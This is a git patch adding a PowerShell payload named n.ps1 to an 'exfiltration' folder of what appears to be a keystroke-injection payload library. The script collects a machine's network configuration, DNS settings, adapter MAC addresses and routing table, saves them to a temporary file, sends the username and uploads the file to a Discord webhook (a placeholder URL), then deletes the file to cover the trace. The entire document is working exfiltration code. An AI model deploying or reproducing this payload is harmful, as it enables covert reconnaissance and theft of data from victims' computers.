From 93c1394d4201f0530fc98a965b4f7e80b96a89d3 Mon Sep 17 00:00:00 2001 From: Gavin Kramer <75549184+atomiczsec@users.noreply.github.com> Date: Fri, 15 Dec 2023 13:46:00 -0500 Subject: [PATCH] Create n.ps1 --- .../exfiltration/Network-Panther/n.ps1 | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 payloads/library/exfiltration/Network-Panther/n.ps1 diff --git a/payloads/library/exfiltration/Network-Panther/n.ps1 b/payloads/library/exfiltration/Network-Panther/n.ps1 new file mode 100644 index 0000000..690224f --- /dev/null +++ b/payloads/library/exfiltration/Network-Panther/n.ps1 @@ -0,0 +1,44 @@ +# n.ps1 +# This script will display the network configuration details on the console and also save them to a file in the same directory, then send to a discord webhook. + +function Send-ToDiscord { + param ( + [Parameter(Mandatory=$true)] + [string]$filePath, + [Parameter(Mandatory=$true)] + [string]$hookUrl + ) + + + $message = @{ + username = $env:USERNAME + content = "Uploading network configuration details" + } + + # Send + Invoke-RestMethod -Uri $hookUrl -Method Post -ContentType 'Application/Json' -Body ($message | ConvertTo-Json) + + # Upload + curl.exe -F "file1=@$filePath" $hookUrl +} + +# Specify the Discord webhook URL here +$discordWebhookUrl = 'YOUR_DISCORD_WEBHOOK_URL' + +# Gather network details +$networkDetails = Get-NetIPConfiguration | Out-String +$networkDetails += Get-DnsClient | Out-String +$networkDetails += Get-DnsClientServerAddress | Out-String +$networkDetails += Get-NetAdapter | Select-Object Name, Status, MacAddress, LinkSpeed | Out-String +$networkDetails += Get-NetRoute | Select-Object DestinationPrefix, NextHop, RouteMetric, ifIndex | Out-String + +# Save to a temp file +$tempFile = [IO.Path]::GetTempFileName() + ".txt" +$networkDetails | Out-File $tempFile + +# Send to Discord +Send-ToDiscord -filePath $tempFile -hookUrl $discordWebhookUrl + +#Remove the temporary file +Remove-Item $tempFile +